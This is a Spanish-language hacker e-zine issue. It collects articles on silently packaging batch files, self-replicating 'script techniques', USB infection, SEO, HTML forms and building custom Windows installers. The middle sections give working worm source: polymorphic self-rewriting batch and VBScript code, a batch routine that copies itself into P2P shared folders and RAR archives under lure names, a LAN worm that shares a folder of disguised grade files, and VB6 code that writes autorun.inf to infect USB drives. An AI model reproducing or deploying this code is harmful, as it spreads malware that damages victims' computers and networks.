Si pide el titulo poner cualquiera (porque no aparecer en el paquete).
En la confirmacin del prompt, elegir no prompt y en la licencia Do not display a license. En la parte de PACKAGE FILES, utilizar la opcin add y buscar y poner nuestro Batch. Se pueden poner varios.
Luego les dara varias opciones, hay que elegir Hidden para que no muestre dialogo de instalacin. En la siguiente ventana se elige no message. En PACKAGE NAME AND OPTIONS seleccionar la opcin Hide File Extracting Animation from User y en la parte de texto colocar el nombre del archivo de paquete (.sed).
Editor MS-Dos
El Clsico editor MS-Dos (edit) que quizs les resulte muy conocido, tambin sirve para crear nuestros batchs y es una herramienta muy fcil de usar. Para acceder a ella es solo escribir edit en la consola, programar nuestro Batch y guardarlo con extensin .bat. Para entrar en modo monocromtico (Blanco y Negro) escribir: Edit /B.
Por el momento es todo , espero que lo hayan disfrutado y hasta la prxima edicin Furious Dami
Tcnicas de programacin de Scripts CUH e-zine 4 edicin
Tcnicas de programacin de Scripts
En este tuto se vern algunas tcnicas medio- avanzada representadas en cdigos fuente explicado. Esta pensado para gente que sepa lenguajes script, principalmente batch.
1. Polimorfismo
Esta tcnica consiste en implementar un tipo de inteligencia artificial al programa la cual se encargara de cambiar partes significativas de su mismo cdigo cada ves que este sea ejecutado. Es una tcnica muy til y utilizada en la programacin de virus.
Veremos un ejemplo:
@echo off %ini% echo Mutando... %ini% find "ini"<%0>$ %ini% :rnd_b %ini% call :rnd %ini% :buc %ini% find "m%r: =%"<$>nul %ini% if %errorlevel%==0 goto :tst %ini% find "m%r: =%"<%0>>$ %ini% :tst %ini% set a=1 %ini% for /L %%a in (0,1,9) do call :cmp %%a %ini% echo %a%|find "o">nul %ini% if %errorlevel%==0 goto :rnd_b %ini% set a1=cmp %ini% set a2=rnd %ini% find "m%a1: =%"<%0>>$ %ini% find "m%a2: =%"<%0>>$ %ini% type $>%0 %ini% exit %ini% :: CODIGO POLIMORFICO [INICIO] %ini% :: %m0% :: %m1% :: %m2% :: %m3% :: %m4% :: %m5% :: %m6% :: %m7% :: %m8% :: %m9% :: CODIGO POLIMORFICO [FIN] %mcmp% :cmp %mcmp% find "m%1"<$>nul %mcmp% if %errorlevel%==1 ( %mcmp% set a=%a%o %mcmp% goto :EOF %mcmp% ) else ( %mcmp% set a=%a%x %mcmp% goto :EOF %mcmp% ) %mcmp% :rnd %mrnd% set r=%random:~1,1% %mrnd% goto :EOF %mrnd%
@echo off %ini% echo Mutando... %ini% find "ini"<%0>$ %ini% :rnd_b %ini% call :rnd %ini% :buc %ini% find "m%r: =%"<$>nul %ini% if %errorlevel%==0 goto :tst %ini% find "m%r: =%"<%0>>$ %ini% :tst %ini% set a=1 %ini% for /L %%a in (0,1,9) do call :cmp %%a %ini% echo %a%|find "o">nul %ini% if %errorlevel%==0 goto :rnd_b %ini% set a1=cmp %ini% set a2=rnd %ini% find "m%a1: =%"<%0>>$ %ini% find "m%a2: =%"<%0>>$ %ini% type $>%0 %ini% exit %ini% :: CODIGO POLIMORFICO [INICIO] %ini% :: %m2% :: %m3% :: %m9% :: %m4% :: %m7% :: %m8% :: %m1% :: %m6% :: %m0% :: %m5% :: CODIGO POLIMORFICO [FIN] %mcmp% :cmp %mcmp% find "m%1"<$>nul %mcmp% if %errorlevel%==1 ( %mcmp% set a=%a%o %mcmp% goto :EOF %mcmp% ) else ( %mcmp% set a=%a%x %mcmp% goto :EOF %mcmp% ) %mcmp% :rnd %mrnd% set r=%random:~1,1% %mrnd% goto :EOF %mrnd%
Ahora la explicacion del code:
::inicio del code. . . @echo off %ini% echo Mutando... %ini% ::busca la cadena ini en el archivo y la manda a $ find "ini"<%0>$ %ini% ::llama a la funcion :rnd para generar en %r% un numero :rnd_b %ini% call :rnd %ini% ::se busca el %0 (nuestro archivo original) la cadena m+[numero aleatorio generado] :buc %ini% find "m%r: =%"<$>nul %ini% ::si se encontro va a la etiqueta :tst if %errorlevel%==0 goto :tst %ini% ::sino busca la cadena en %0 y la guarda en $ (un archivo temporal) find "m%r: =%"<%0>>$ %ini% ::la funcion tst es un bucle for que da los numeros 0-9 a la funcion cmp :tst %ini% set a=1 %ini% for /L %%a in (0,1,9) do call :cmp %%a %ini% ::como en la funcion cmp se establece %a%, aki se busca en la cadena o en la variable %a% echo %a%|find "o">nul %ini% ::si la encuentra, regresa a la etiqueta :rnd_b if %errorlevel%==0 goto :rnd_b %ini% ::sino entoncs busca las funciones restantes (las que estan al final del code) y las mete en $ set a1=cmp %ini% set a2=rnd %ini% find "m%a1: =%"<%0>>$ %ini% find "m%a2: =%"<%0>>$ %ini% ::escribe todo lo que hay en $ en %0 y sale type $>%0 %ini% exit %ini% ::aki se muestra la seccion poliformica del code :: CODIGO POLIMORFICO [INICIO] %ini% :: %m0% :: %m1% :: %m2% :: %m3% :: %m4% Tcnicas de programacin de Scripts CUH e-zine 4 edicin
:: %m5% :: %m6% :: %m7% :: %m8% :: %m9% :: CODIGO POLIMORFICO [FIN] %mcmp% ::la funcion :cmp se encarga de ver que modulos poliformicos (m1, m2, m3, ) ya an sido copiados a $ :cmp %mcmp% find "m%1"<$>nul %mcmp% ::si el modulo se encuentra ya presente, se agrega la cadena x a la variable %a%, si no se encuentra, se agrega la cadena o if %errorlevel%==1 ( %mcmp% set a=%a%o %mcmp% goto :EOF %mcmp% ) else ( %mcmp% set a=%a%x %mcmp% goto :EOF %mcmp% ) %mcmp% ::genera el numero aleatorio :rnd %mrnd% set r=%random:~1,1% %mrnd% goto :EOF %mrnd%
Un punto importante a recalcar es que la funcin a copiar la identifico poniendo en cada lnea que le pertenece una marca de la forma de una variable . . .
Ejemplo: :rnd %mrnd% set r=%random:~1,1% %mrnd% goto :EOF %mrnd%
Ahora veamos otro ejemplo, algo mas sencillo, hecho en Visual Basic Script:
Teoria: Generar nombre aleatorios y reemplazar las variables existentes por los nombres generados.
Randomise Rem bucle donde generamos los nombre aleatorios for iaec=1 to 5 ivarec2=chr(int(20*rnd)+97) ivarec3=chr(int(20*rnd)+97) ivarec4=chr(int(20*rnd)+97) ivarec5=chr(int(20*rnd)+97) ivarec6=chr(int(20*rnd)+97) ivarec7=chr(int(20*rnd)+97) ivarec8=chr(int(20*rnd)+97) toivarec2=ivarec2&toivarec2 toivarec3=ivarec3&toivarec3 toivarec4=ivarec4&toivarec4 toivarec5=ivarec5&toivarec5 toivarec6=ivarec6&toivarec6 toivarec7=ivarec7&toivarec7 toivarec8=ivarec8&toivarec8 next rem Establecemos variables necesarias set fso=createobject("scripting.filesystemobject") set fileall=fso.opentextfile(wscript.scriptfullname,1,fal se) rem En la variable nufile se encuentra el codigo del programa nufile=fileall.readall rem Reemplazamos la cadena ivarec por la cadena que contiene la variable toivarec2, y asi sucesivamente con todas las cadenas que se quieran reemplazar nufile=replace(nufile,"ivarec",toivarec2) nufile=replace(nufile,"toivarec",toivarec3) nufile=replace(nufile,"fso",toivarec4) nufile=replace(nufile,"fileall",toivarec5) nufile=replace(nufile,"iaec",toivarec6) nufile=replace(nufile,"nufile",toivarec7) nufile=replace(nufile,"xsiv",toivarec8) rem en xsiv esta el archivo listo para escribir sobre el. set xsiv=fso.opentextfile(wscript.scriptfullname,2,fals e) rem escribimos lo que contiene la variable nufile en nuestro archivo xsiv.write nufile rem y cerramos. xsiv.close
2. Propagacin por clientes P2P e infeccin de .rar
Esta tcnica consiste en infectar las carpetas compartidas de todos los clientes de redes P2P (eMule, Shareaza, BearShare, edonkey y limeware [la lista puede ser modificada]) y archivos .rar dentro de estas, que estn contenidas en la pc victima.
La siguiente funcin tiene la capacidad de hacer
:p2p :: Hacemos una comprobacion de archivos (logica del programa) if exist %windir%\t.rar (del %windir%\t.rar) Tcnicas de programacin de Scripts CUH e-zine 4 edicin
:: Copiamos todo el codigo del programa al archive op.bat type %0>op.bat :: Establecemos en %o% nuestra ruta y nombre set o="%systemdrive%%~p0op.bat" :: Nos posicionamos en la ruta donde fuimos ejecutados cd "%systemdrive%%~p0" :: La lista de clientes se va a %windir%\yer.t echo eMule\Incoming\ > %windir%\yer.t echo Shareaza\Downloads\ >> %windir%\yer.t echo BearShare\Shared\ >> %windir%\yer.t echo EDONKEY2000\incoming\ >> %windir%\yer.t echo LimeWire\Shared\ >> %windir%\yer.t :: La lista de nombres ficticios (seuelos) se va a %windir%\jer.t echo Path_msn_Emoticonos > %windir%\jer.t echo sms_gratis >> %windir%\jer.t echo polifonicos_free >> %windir%\jer.t echo Microsoft_Office_2007_all_serials >> %windir%\jer.t echo Windows_Vista_activation_tool >> %windir%\jer.t echo Windows_Vista_all_serials >> %windir%\jer.t echo MSN_hack_codes >> %windir%\jer.t :: Se establecen las variables que contienen la informacin del winrar set rc=1 set r="%programfiles%\WINRAR\WinRAR.exe" :: Probamos el ejecutable del winrar para estar seguros de que el programa esta intalado en la pc %r% a %windir%\t.rar %o% if not %errorlevel%==9009 set rc=0 goto fr :: la funcion fr2 se encarga tomar la lista de nombres dados para copiarse en los clientes con esos nombre :fr2 set uno=%1 :: Toma la lista de nombres for /F "tokens=* delims=" %%g in (%windir%\jer.t) do ( :: si el winrar esta instalado if %rc%==0 ( :: Se copia el mismo con el nombre dado en el cliente actual @copy /y %o% "%%g.bat" cls ping -n 2 localhost > nul :: Se copia el mismo en archivos .rar con los nombres %r% a "%%g.rar" "%%g.bat" ) ) goto :EOF :: la funcion :fr coge las lista de clientes que se encuentra en el archivo yer.t :fr for /F "tokens=* delims=" %%a in (%windir%\yer.t) do ( :: verifica la existencia del cliente en la pc if exist "%programfiles%\%%a" ( :: Si el cliente en cuestion esta instalado, cambia el directorio local a su directorio cd "%programfiles%\%%a" :: Por cada .rar for %%e in (*.rar) do ( :: se copia el mismo al directorio con el mismo nombre del .rar @copy /y %o% "%%~ne.bat" cls ping -n 2 localhost > nul :: se introduce el mismo en el .rar en cuestion %r% a "%%e" "%%~ne.bat" ) :: llama la funcion fr2 usando como primer y unico parmetro el cliente actual del for call :fr2 %%a ) ) Pause :: termina la infeccion, eliminando algunos archivos innecesarios cd %windir% del *.t cd "%systemdrive%%~p0" del op.bat goto :EOF
3. Propagacin por LAN
Teoria: Crear carpetas y compartirlas mediante el comando net share.
@echo off :: Verifica que el programa a sido llamado de forma oculta if '%1==' goto ht :: Verifica que existela carpeta de infeccion if exist "%homedrive%\Calificaciones" exit :: se crean las variables que contienen los nombres de las carpetas a crear set a=Calificaciones set b="7mo_grado" set c="8vo_grado" set d="9no_grado" set e="10mo_grado" Tcnicas de programacin de Scripts CUH e-zine 4 edicin
set f="11vo_grado" set g="12vo_grado" set i=%homedrive%\ju.ki cd\ :: Se copia un archivo de restauracin type %0>ju.ki :: Se crea la carpeta de infeccion mkdir %a% cd %a% :: por cada variable que contiene las carpetas a infectar se crean las carpetas for %%e in (%b% %c% %d% %e% %f% %g%) do mkdir %%e :: se manda la lista de las carpetas a un archivo temporal dir /b > %temp%\lst.jkl :: por cada carpeta en el archivo creado manda la informacin a la funcion :cop for /f "tokens=* " %%f in (%temp%\lst.jkl) do call :cop %%f :: se comparte la carpeta de infeccion net share Notas="%homedrive%\Calificaciones" exit
:cop :: se establece la siguiente carpeta a infectar set target=%1 cd "%target%" :: se copia el mismo en la carpeta a infectar type %i%>"notas.cmd" :: vuelve a la carpeta de infeccion cd %homedrive%\%a% goto :EOF
:ht :: se crea un archivo .doc que simula la ejecucin de un documento normal echo MATERIA > notas.doc echo. >> notas.doc echo Nombre ^| Calificaciones >> notas.doc :: se crea un script vbs donde se llama el mismo en forma oculta echo set shell = CreateObject("wscript.shell") > r.vbs echo shell.run "cmd /c "%0" vir", vbHide >> r.vbs :: se ejecuta el vbs start r.vbs :: se ejecuta el documento creado start notas.doc exit
4. Funciones de identificacin Aki veremos algunas funciones que nos permitirn tener un concepto del uso de varias tcnicas
La siguiente funcin toma una cadena de texto y la invierte de forma que si llegara a tomar la cadena hola devolvera la cadena aloh.
@echo off ::Parametros: %1=cadena ::Devuelve: %ohce%=cadena invertida :ohce ::Se limpian algunas variables set wrd= set ohce= ::verifica que la funcion no a sido llamada con un valor nulo if %1'==' goto er_o ::se establece la cadena introducida set wrd=%1 set wrd=%wrd:"=cnf% ::se llama la funcion :len que devolvera la cantidad de caracteres que contiene la cadena call :len %wrd% ::se prepara la variable de cantidad set /a len=%len%-1 ::se ace un bucle de forma regresiva for /l %%a in (%len%,-1,0) do ( ::llama la funcion st call :st %%wrd:~%%a,1%% ) ::se prepara la variable para la salida set ohce=%ohce:"=% set ohce=%ohce:fnc="% echo %ohce% goto :EOF :st ::la funcion st estable el valor de la variable que contiene la cadena invertida set p1=%1 set ohce=%ohce%%p1% goto :EOF :len ::la funcion :len calcula la cantidad de caracteres que contiene la cadena que se le da ::verifica que la funcion no haya sido llamada con un valor nulo if %1'==' echo La sintaxis es: len [cadena] && goto :EOF ::se establecen algunas variables set w=%1 set a=0 set bol=0 :lp ::se llama la function cnt call :cnt "%%w:~%a%,1%%" %a% if %bol%==1 goto :EOF set /a a=%a%+1 Tcnicas de programacin de Scripts CUH e-zine 4 edicin
goto lp ::la funcion cnt se encarga de verificar si la cadena que le dan es nula, si lo es establece una variable que parara el el contador :cnt set cur=%1 set len=%2 ::si la variable es nula, se establece la variable if %cur%a==""a ( set bol=1 ) goto :EOF :er_o ::mensaje de error echo La sintaxis es: h2d [cadena] goto :EOF
The Shadow shadow@el-hacker.org Infectar unidades USB CUH e-zine 4 edicin
Este es un artculo creado exclusivamente para CUH E- Zine y se encuentra bajo licencia Creative Commons (http://creativecommons.org/licenses/by/3.0).
Comencemos viendo algunos aspectos de lo que es USB.
Pues USB seria tericamente un puerto de la CPU, su traduccin seria Bus Universal de Serie (en ingles seria Universal Serial Bus). Este puerto tiene la capacidad de conectar, entre otras cosas, unidades de almacenamiento masiva de datos, como son los PenDrivers, MP3, MP4, etc. Estas unidades, como bien dije permiten almacenar cosas, por supuesto que en ficheros.
Lo que haremos nosotros ser infectar esta unidad, as como se infecta un sistema. La infeccin en s es muy sencilla, solo nos debemos copiar en la unidad. Pero nuestro fin no es infectar, sino reproducirnos a travs de la infeccin, y si solo nos copiamos, no podemos estar seguros que podremos infectar otro sistema. Ahora si nos ponemos a pensar un poco, los CDs de instalacin (entre otros) logran ejecutar cierto fichero al introducir el disco en la compactera (unidad de CD). Esto se logra gracias al fichero Autorun.inf. Este pequeo amigo corresponde a Windows, y hace que al ser ledo por l ejecute sus sentencias. El fichero Autorun.inf puede contener varias sentencias pero nosotros solo utilizaremos una, que nos permitir ejecutar un fichero al introducir la unidad en la CPU (es
decir, cuando Windows lea la unidad).
Ya basta de hablar, vamos a hacer algo! Debemos, antes que nada, obtener las unidades:
Vamos a utilizar un Timer, y este ser el nico control que aadiremos al proyecto. Le dejaremos su nombre por defecto, y a su propiedad interval le daremos valor: 1000, que serian 1000 milisegundos, lo que equivale a 1 segundo.
La funcin del timer ser recorrer las unidades, para encontrar aquellas que sean removibles o CDs y sean de lectura/escritura, y como ultima condicin, la funcin va revisar que la unidad este lista, si todo esto se cumple, le pasamos el trabajo a otra funcin Tambin vamos a trabajar con el objeto FileSystemObject, pero lo que haremos ser agregarlo desde las referencias, esto ser mejor que el tpico Set fso = CreateObject(Scripting.FileSystemObject) ya que este ultimo crea el objeto en tiempo de ejecucin, lo que no nos permitira comprobar errores hasta la ejecucin de la aplicacin. Por contrario, al agregarlo como referencia, podremos ver en tiempo de diseo las variadas opciones que ofrece el objeto luego del operador punto (.) Para agregar el objeto desde la referencia, nos vamos a: ProyectoReferenciasMicrosoft Scripting Runtime y le damos a Aceptar.
Infectar unidades USB CUH e-zine 4 edicin
Ahora ya podemos comenzar a trabajar, nos ubicamos en el evento Timer del Timer1:
Private Sub Timer1_Timer()
End Sub
Aplicamos el objeto:
Dim fso As New FileSystemObject (Como si estuviramos haciendo la declaracin de una variable normal)
Y hasta aqu llegamos Ahora agregaremos un modulo al proyecto
y declararemos las siguientes APIs y constantes:
Public Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long Public Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long Public Const DRIVE_CDROM = 5 Public Const DRIVE_REMOVABLE = 2
Listo, volvemos al formulario, y vamos a declarar 2 variables mas, la variable Drv de tipo String, y la variable NWDrv (no le aplicamos ningn tipo) As que el cdigo en el formulario nos quedara as:
Private Sub Timer1_Timer() Dim fso As New FileSystemObject Dim Drv As String Dim NWDrv End Sub
La API GetLogicalDriveStrings nos va a devolver todas las unidades disponibles en el sistema. Antes vamos a darle un valor a la variable Drv, le vamos a dar una cadena con 100 espacios:
Drv = Space(100)
Ahora vamos a usar la API antes mencionada para obtener un nmero entero que corresponder a las unidades:
Rt = GetLogicalDriveStrings(Len(Drv), Drv)
As que en la en la variable Drv vamos a tener las unidades, una al lado de la otra... Pero separadas por un smbolo, as que para obtenerlas vamos a hacer un bucle, el cual aremos de 4 en 4:
For i = 1 To Rt Step 4
Next i
As, utilizando Mid podemos extraer una por una las unidades en su orden correspondiente:
Drn = Mid(Drv, i, 3)
Hasta aqu pudimos obtener la unidad y la almacenamos en la variable Drn, ya van 3 variables que no he declarado al principio (i, Rt y Drn), pero lo har luego Con la API GetDriveType podremos saber el tipo de unidad al que corresponde la actual (ubicada en la variable Drn). Si el tipo de unidad es DRIVE_CDROM (cuyo valor numrico es 5) o DRIVE_REMOVABLE (cuyo valor numrico es 2), significa que podemos seguir:
If GetDriveType(Drn) = DRIVE_REMOVABLE Or GetDriveType(Drn) = DRIVE_CDROM Then
End if
Ahora, si esta condicin nos fue favorable, seguiremos, y lo que debemos hacer es comprobar si la unidad esta lista para copiar. Para eso primero debemos aplicar la variable como objeto y luego comprobarlo (observa que al objeto fso le debemos dar la unidad pero no completa, con los dos puntos y la barra invertida, sino la letra sola, luego el objeto la devuelve con los dos puntos, pero sin la barra):
Set Unidad = fso.GetDrive(Left(Drn, 1)) If Unidad.IsReady = True Then End If
Perfecto, hasta aqu estamos bien, si la unidad ubicada en la variable Unidad esta lista, seguimos, y seguimos pasndole el trabajo a otra funcin. A esta funcin la Infectar unidades USB CUH e-zine 4 edicin
limaremos InfecDrive y recibir como parmetro la unidad a infectar, la misma se pasara como cadena
Call InfecDrive(Unidad & \)
As que el cdigo del evento del Timer1 nos quedara as:
Private Sub Timer1_Timer() Dim fso As New FileSystemObject Dim Drv As String Dim NWDrv
Drv = Space(100)
Rt = GetLogicalDriveStrings(Len(Drv), Drv)
For i = 1 To Rt Step 4 Drn = Mid(Drv, i, 3)
If GetDriveType(Drn) = DRIVE_REMOVABLE Or GetDriveType(Drn) = DRIVE_CDROM Then Set Unidad = fso.GetDrive(Left(Drn, 1)) If Unidad.IsReady = True Then Call InfecDrive(Unidad & \) End If End if Next i End Sub
Ahora vamos a programar la funcin que se encargara de infectar la unidad, no es nada complicado, solo debemos crear un Autorun programado para ejecutar nuestra aplicacin cada vez que la unidad sea ejecutada, y luego debemos copiarnos en dicha unidad:
Private Sub InfecDrive(Drve As String)
End Sub
Veamos, El Autorun.inf siempre se ubica en la raz de la unidad en la que se encuentra. Nosotros vamos a utilizar la sentencia Open, esta sentencia va seguida de un igual (=) y despus del signo igual va la ruta de la aplicacin a ejecutar. La ruta se toma desde la raz de la unidad, pero no se pone la misma, es decir que si nuestra aplicacin se encontrara en la raz de la unidad, el Autorun.inf contendr esto:
[AutoRun] Open=VIRUS.EXE
El problema con esto, es que casi siempre el archivo Autorun tiene atributo de oculto y/o solo lectura, esto hace que no lo podamos modificar o sustituir por el nuestro. As que lo que haremos, ser verificar si existe el archivo Autorun en la raz de la unidad, y si existe le vamos a dar atributo Normal:
If Dir(Drve & "autorun.inf") <> "" Then SetAttr Drve & "autorun.inf", 0 End If
Ahora ya podemos modificar el archivo Autorun si es que existe, si no existe simplemente lo creamos. Ya es hora de copiarnos, por lo general a la hora de copiar se utilizan nombres que no llamen mucho la atencin, pero mi objetivo no es este, as que yo utilizare un nombre comn: Autorun.exe:
Ya estamos sobre el final, nos resta crear el archivo Autorun.inf, y aplicarle a este y a la copia de nuestra aplicacin atributos de ocultos y solo lectura Creamos el Autorun:
Open Drve & "autorun.inf" For Output As #1 Print #1, "[Autorun]" Print #1, "Open=autorun.exe" Close #1
Private Sub InfecDrive(Drve As String) If Dir(Drve & "autorun.inf") <> "" Then SetAttr Drve & "autorun.inf", 0 End If FileCopy App.Path & \ & App.EXEName & .exe, Drve & \Autorun.exe Open Drve & "autorun.inf" For Output As #1 Print #1, "[Autorun]" Print #1, "Open=autorun.exe" Close #1 SetAttr Drve & "autorun.exe", 1 + 2 SetAttr Drve & "autorun.inf", 1 + 2 End Sub
Espero les haya servido, cabe recalcar que la infeccin de unidades extrables para la propagacin de gusanos abarca mas de lo que se vio en este articulo, la mayora de los programadores hacen de gran prioridad la ocultacin del gusano dentro de la unidad. Utilizando mtodos avanzados, verdaderamente buenos, con muchas formas de lograr que el usuario desinfecte su unidad. Les dejo a todos lo lectores de esta E-Zine un cordial saludo y espero que les haya gustado
AnyDoom .
La indexacin y Tu Dominio CUH e-zine 4 edicin
Hola bueno, hoy vamos a hablar de las cosas que debemos saber sobre la indexacin Cuando hacemos una bsqueda por ej: Google, cuantas veces pasamos a la segunda pagina? Y esa repuesta es muy pocas y es a si es muy difcil que un internauta se tome esa molestia de ir a la otra pagina. Si queres tener visitas, es primordial figurar en buena posicin en los principales anuarios.
La indexacin (posicionamiento) : analiza tu sitio, busca las palabras clave que lo representan con ms fidelidad, y utilzalos para describir tu sitio en una sola frase Las palabras-clave es un agente importante para poder tener buena indexacin, Como? Bueno puedes usar el los metas tag de otros sitios parecidos a el tuyo para copiar las palabras o que los internautas utilizarn para encontrar tu sitio. Insprate de las de los competidores en mejor posicin en los resultados de las bsquedas. Y si la procedencia de tus visitantes es una pgina de bsqueda, ten cura, si tus herramientas estadsticas te lo permiten, de las palabras-clave utilizadas en la peticin. Metas Tag Es muy fcil de usar, en una pagina HTML entre las tags <HEAD>, tres elementos merecen especial atencin: Ponemos el titulo, entre las tags <TITLE>. Aparece en la barra de ttulo de la ventana, pero tambin, si se da el caso, como nombre de favoritos. Los motores de bsqueda le dan en general una importancia capital. Pon el nombre oficial de tu sitio, as como una breve descripcin con algunas palabras-clave. La tag<META name="descripcin" content="descripcin de su sitio">. Transforma tu ttulo en una frase, haciendo lo posible para que las palabras clave estn en buena posicin: tienen que ser pocas palabras./li> la tag<META name="keywords" content="palabra-clave 1; palabra-clave 2">. Ah escribes tus palabras-clave en el rden de importancia; utiliza sinnimos pero evita repetir las mismas palabras ms de 7 veces (sin ir ms all de las 1000 letras) <title>EL-Hacker foro de hacking y seguridad Informtica</title> <meta name="description" content="Foro de discusin general donde aprenders conocimientos de informtica y divertirte haciendo amigos."> <meta name="keywords" content=" descargas full, gratis, herramientas hack (y puedes agregarle mas a tu criterio)"> Recuerda!!! Los trucos que veas por Internet de cmo engaar a los buscadores para tener mas visitas no funcionan y puede irte en contra ya que si ej: google descubre la farsa puede castigarte sacndote la indexacin.
Otro consejo; cuando queremos que nuestro sitio sea conocido, google siempre busca sitios diseados lo mas sencillos posibles, y hablo del cdigo Html mientras menos basura tenga mejor, y siempre tener una portada bien hecha y otra cosa que google busca es lo novedoso, por eso siempre tengamos en cuenta lo que el usuario busca y hacerlo mas agradable para ser nico, es obvio que si ponemos ej; Nunca le ganaremos a los que son dueos de las palabras como empresas; ebay, yahoo, Microsoft, etc pero siempre podemos estar abajo y eso no es tan malo dependiendo que el segundo puesto a veces es mejor jeje.
Un buen dominio
Cuando vamos a comprar un dominio tenemos que tener en cuenta muchas cosas, Hablemos un poco de La indexacin y Tu Dominio CUH e-zine 4 edicin
como funciona esto Cada servidor web es identificado por una direccin IP nica, parecida a esto: 195.219.20.23 ; este tipo de direccin es muy poco prctica, y un sistema de nombres de dominio ha sido rpidamente adoptado. Un nombre de dominio es una apelacin alfanumrica, fcil de recordar, y que corresponde a una direccin IP; la traduccin de uno a otro se hace a travs de un servidor DNS (Domain Name Server).
Pero un nombre de dominio no apunta necesariamente hacia un servidor nico, eso es el propietario quin lo decide; en la prctica, significa que conservando el mismo nombre de dominio, puedes cambiar de servidor. Si queremos un buen dominio tenemos que saber bien que es lo que necesitamos y queremos hacer llegar a la gente, si la pagina se trata de juegos para celulares, no es obligacin que el dominio se llame juegosparacelulares.com etc pero es un buen dominio para la facilidad de indexacin y fcil de acordarse.. pero yo voy a lo mas original, Tambin podemos inventar nombres que a veces puede significar con el tiempo a los que nos dedicamos o lo que queremos vender. Los dominios mas comunes (Hay que decir que existen muchos otros de distintos pases y organizaciones) .biz Sitios de Organizaciones de Negocios .com Sitios Comerciales .edu Sitios Educativos .gov Sitios de Organismos Gubernamentales .info Sitios de Apertura Libre de Dominios de Nivel Superior TLD .int Sitios de Organizaciones Internacionales .mil Sitios de Dependencias Militares Oficiales de los Estados .name Sitios Personales .net Sitios de Sistemas y Redes .org Sitios de Organizaciones Nota: Los Dominios de Nivel Superior Globales (GTLD), creados para ser usados por los usuarios de Internet en general. En internet los mas grande es utilizar dominios hasta de 67 caracteres de largo. Nmeros y letras son permitidos en el contenido de los dominios, pero no se permiten espacios ni caracteres especiales (por ejemplo, =, &, $, , tildes, etc.).
Hola bueno voy a dejar algunos comandos mas importantes para empezar con formularios si ven otros mas interesantes lo ponen <FORM METHOD="Post" ACTION="http://www.pagina.com/cgi-bin/formmail">
Se define como se va a utilizar la forma o sea el mtodo a utilizar y la accin que vamos a ejecutar es un programa "FormMail" que se encuentra en la direccin: http://www.pagina.com/cgi-bin/formmail (FormMail, es un programa que da a su proveedor de espacio no le da el programa CGI para FORMAS, puede utilizar este). <INPUT TYPE="hidden" NAME="recipient" value="direccin email">
Aca le indica al programa CGI anterior cual es la direccin de correo en donde deseamos recibir la informacin que el usuario est llenando. Cuando se declara HIDDEN la informacin quiere decir que el usuario no va a ver esta lnea en nuestra pgina WEB. <INPUT TYPE="hidden" NAME="subject" value=" subject recibido">
va a ser un correo que vamos a recibir de nuestra pagina, lo que tenemos que indicarle a el CGI que nos enve el "ASUNTO o SUBJECT" del correo. <INPUT TYPE="hidden" NAME="redirect" value="url donde ingresara">
aca le indicamos al programa CGI que al terminar de recibir la informacin, lleve al usuario a una pgina WEB. Por lo general se enva al usuario a una pgina de agradecimiento por haber llenado la FORMA. <INPUT TYPE="text" NAME="nombre" size="30" maxlength="40">
Lo que hacemos al CGI que tenemos una variable que se llama NOMBRE, la cual tiene un largo de 30 caracteres visibles y un mximo de 40. Si nos fijamos la siguiente lnea HTML lo nico que cambia es el nombre de la variable que se llama "email". entonces eso dice que podemos tener todas las variables que querramos y los largos visibles y mximos pueden ser cualquier tamao. <INPUT TYPE="submit" VALUE="enviar">
Aca es para enviar toda la informacin que se acaba de llenar al programa CGI y este a su vez nos lo enviar a la direccin de correo que se defini anteriormente. <INPUT TYPE="reset" VALUE="BORRAR">
Ac en este comando podemos borrar todas las formas para volver a completar el formulario. </FORM>
Esto le indicar al cdigo HTML que nuestra definicin de la FORMA para cerrar el formulario creado y es importante ponerlo
Bueno espero que les haya servido de algo esta explicacin, ya que siempre es importante tener en cuenta estas sugerencias, un saludo.
Senege Crea Tu propio windows desatendido CUH e-zine 4 edicin
Bueno me presento soy Otacon creador de los Windows LastOne, los puedes ver en google ;).
Bueno como bien lo dice el titulo este espacio estar dedicado, para que tu como una persona que tienes curiosidad en el mundo de la informtica, te puedas crear tu win al gusto tuyo con tus diseos y lo mejor de todo mas rpido que el windows original.
Como todo para empezar debers conocer algunos conceptos bsicos, adems del software que debers utilizar en la prctica para que vallas creando tu win paso a paso hasta que logres tener conocimientos avanzados del mismo. (En el transcurso del manual y en la practica se estarn dando conceptos para que te ests acoplndote a los nuevos conceptos que manejaras.)
Bueno muchas personas estarn pensando que cosa es un windows desatendido (ya que nadie nace aprendido) as que os explicare; es un windows que un usuario x modifica a su gusto, eliminando componentes del mismo y as lograr un mejor rendimiento, velocidad, estabilidad y lo mejor de todo un diseo original que tal vez nadie tendr en este planeta. Bueno como veraz es algo nico y especial que le puedas dar un mejor retoque a ese windows que t tienes.
Empezando en la prctica necesitaremos algunos materiales para empezar entre ellos estn: El CD de Windows Xp (si lo tienes con Sp3 o Sp2 pues ser ms fcil para ti la preparacin del disco.) Un quemador de CD (mejor si logras tener uno de dvd as podrs hacer una creacin con muchos software que se instalen automticamente.) Y la mejor de todo, es mucha, pero mucha paciencia y ganas de aprender.
Para iniciar en esto ocuparemos una herramienta muy valiosa para que no te molestes mucho modificando un windows ya que es algo muy grande adems no tenemos mucho tiempo para explicar detalladamente cada uno de los archivos del windows as que empecemos bajndonos Nlite lo puedes conseguir en esta pagina Web y lo mejor de todo es que es gratuito. http://www.nliteos.com/download.html. bajamos elllamado Nlite v1.4.5 Final | Installer.(no te bajas betas ya que desde luego te pueden provocar algn fallo)
Beta: es el software que sacan de pruebas para poder encontrar algn bug (error) en ese software antes de sacar la versin final, as que ya sabes nada de betas.
Una vez bajado; lo instalamos en nuestro PC. (El famoso siguiente. siguiente y aceptar.) :D (Recuerda que debes tener antes instalado Microsoft .NET Crea Tu propio windows desatendido CUH e-zine 4 edicin
Framework, versin 2.0), te lo puedes bajar de ac. http://www.microsoft.com/downloads/details.aspx?disp laylang=es&FamilyID=0856eacb-4362-4b0d-8edd- aab15c5e04f5.
Una vez instalado vamos a abrirlo y escogemos el idioma Espaol.
Luego nos dir que escojamos el Sistema Operativo (SO es la definicin corta de sistema operativo) que vamos a usar, luego de haberlo buscado en tu CD ROM te dir que lo guardes en un sector de tu disco duro as que te haces una carpeta llamada winhack, y le dices que lo guarde ah y empieza a copiar los archivos.
